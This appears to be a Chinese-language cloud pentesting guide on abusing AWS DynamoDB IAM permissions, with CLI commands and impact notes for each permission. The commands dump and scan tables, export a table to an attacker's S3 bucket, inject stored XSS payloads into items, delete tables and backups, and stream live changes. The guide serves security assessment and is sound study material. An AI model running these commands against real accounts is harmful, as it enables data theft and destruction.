DynamoDB
有关更多信息,请查看:
dynamodb:BatchGetItem
具有此权限的攻击者将能够通过主键从表中获取项目 (您不能仅请求表中的所有数据)。这意味着您需要知道主键(您可以通过获取表元数据(describe-table
)来获取此信息)。
json file 内联
Copy aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys" : [
{
"Id" : { // Primary keys name
"N" : "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
Copy aws dynamodb batch-get-item \
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
--region < regio n >
潜在影响: 通过在表中定位敏感信息进行间接权限提升
dynamodb:GetItem
与之前的权限类似, 这个权限允许潜在攻击者根据要检索的条目的主键从仅一个表中读取值:
Copy aws dynamodb get-item --table-name ProductCatalog --key file: ///tmp/a.json
// With a.json
{
"Id" : {
"N" : "205"
}
}
通过此权限,还可以使用 transact-get-items
方法,如下所示:
Copy aws dynamodb transact-get-items \
--transact-items file: ///tmp/a.json
// With a.json
[
{
"Get" : {
"Key" : {
"Id" : { "N" : "205" }
} ,
"TableName" : "ProductCatalog"
}
}
]
潜在影响: 通过定位表中的敏感信息进行间接权限提升
dynamodb:Query
与之前的权限类似 ,这允许潜在攻击者根据要检索的条目的主键从仅一个表中读取值。它允许使用比较的子集 ,但唯一允许与主键(必须出现)进行的比较是“EQ”,因此您无法使用比较在请求中获取整个数据库。
json file 内联
Copy aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator" : "EQ" ,
"AttributeValueList" : [ { "N" : "205" } ]
}
}
Copy aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region < regio n >
潜在影响: 通过定位表中的敏感信息进行间接权限提升
dynamodb:Scan
您可以使用此权限轻松导出整个表 。
Copy aws dynamodb scan --table-name < t_nam e > #Get data inside the table
潜在影响: 通过在表中定位敏感信息进行间接权限提升
dynamodb:PartiQLSelect
您可以使用此权限轻松导出整个表 。
Copy aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
此权限还允许执行 batch-execute-statement
,例如:
Copy aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
但您需要指定主键及其值,因此这并不是很有用。
潜在影响: 通过在表中定位敏感信息进行间接权限提升
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
此权限将允许攻击者将整个表导出到他选择的 S3 存储桶 :
Copy aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb: < regio n > : < account-i d > :table/TargetTable \
--s3-bucket < attacker_s3_bucke t > \
--s3-prefix < optional_prefi x > \
--export-time < point_in_tim e > \
--region < regio n >
注意,要使其工作,表需要启用时间点恢复,你可以通过以下方式检查表是否启用:
Copy aws dynamodb describe-continuous-backups \
--table-name < tablenam e >
如果它没有启用,您需要启用它 ,为此您需要**dynamodb:ExportTableToPointInTime
**权限:
Copy aws dynamodb update-continuous-backups \
--table-name < valu e > \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled= true
潜在影响: 通过定位表中的敏感信息进行间接权限提升
dynamodb:CreateTable
, dynamodb:RestoreTableFromBackup
, (dynamodb:CreateBackup)
拥有这些权限后,攻击者将能够从备份中创建新表 (甚至可以创建备份,然后在不同的表中恢复它)。然后,凭借必要的权限,他将能够检查备份中的信息 ,这些信息可能不再在生产 表中。
Copy aws dynamodb restore-table-from-backup \
--backup-arn < source-backup-ar n > \
--target-table-name < new-table-nam e > \
--region < regio n >
潜在影响: 通过定位表备份中的敏感信息进行间接权限提升
dynamodb:PutItem
此权限允许用户向表中添加新项或用新项替换现有项 。如果具有相同主键的项已经存在,整个项将被新项替换 。如果主键不存在,将创建 一个具有指定主键的新项。
XSS 示例 AI 示例
Copy ## Create new item with XSS payload
aws dynamodb put-item --table < table_nam e > --item file://add.json
### With add.json:
{
"Id" : {
"S" : "1000"
},
"Name" : {
"S" : "Marc"
},
"Description" : {
"S" : "<script>alert(1)</script>"
}
}
Copy aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region < regio n >
潜在影响: 通过能够在DynamoDB表中添加/修改数据,利用进一步的漏洞/绕过
dynamodb:UpdateItem
此权限允许用户修改项目的现有属性或向项目添加新属性 。它并不替换 整个项目;它仅更新指定的属性。如果主键在表中不存在,则该操作将创建一个新项目 ,并使用指定的主键设置更新表达式中指定的属性。
XSS 示例 AI 示例
Copy ## Update item with XSS payload
aws dynamodb update-item --table < table_nam e > \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id" : {
"S" : "1000"
}
}
### and val.json
{
":value" : {
"S" : "<script>alert(1)</script>"
}
}
Copy aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region < regio n >
潜在影响: 通过能够在DynamoDB表中添加/修改数据,利用进一步的漏洞/绕过。
dynamodb:DeleteTable
拥有此权限的攻击者可以删除DynamoDB表,导致数据丢失 。
Copy aws dynamodb delete-table \
--table-name TargetTable \
--region < regio n >
潜在影响 :数据丢失和依赖于已删除表的服务中断。
dynamodb:DeleteBackup
拥有此权限的攻击者可以删除DynamoDB备份,可能导致在灾难恢复场景中数据丢失 。
Copy aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb: < regio n > : < account-i d > :table/TargetTable/backup/BACKUP_ID \
--region < regio n >
潜在影响 :数据丢失以及在灾难恢复场景中无法从备份中恢复。
dynamodb:StreamSpecification
, dynamodb:UpdateTable
, dynamodb:DescribeStream
, dynamodb:GetShardIterator
, dynamodb:GetRecords
拥有这些权限的攻击者可以在DynamoDB表上启用流,更新表以开始流式传输更改,然后访问流以实时监控表的更改 。这使攻击者能够监控和提取数据更改,可能导致数据泄露。
Copy bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled= true ,StreamViewType=NEW_AND_OLD_IMAGES \
--region < regio n >
Copy bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region < regio n >
Copy bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn < stream_ar n > \
--shard-id < shard_i d > \
--shard-iterator-type LATEST \
--region < regio n >
Copy bashCopy codeaws dynamodbstreams get-records \
--shard-iterator < shard_iterato r > \
--region < regio n >
潜在影响 :对DynamoDB表更改的实时监控和数据泄露。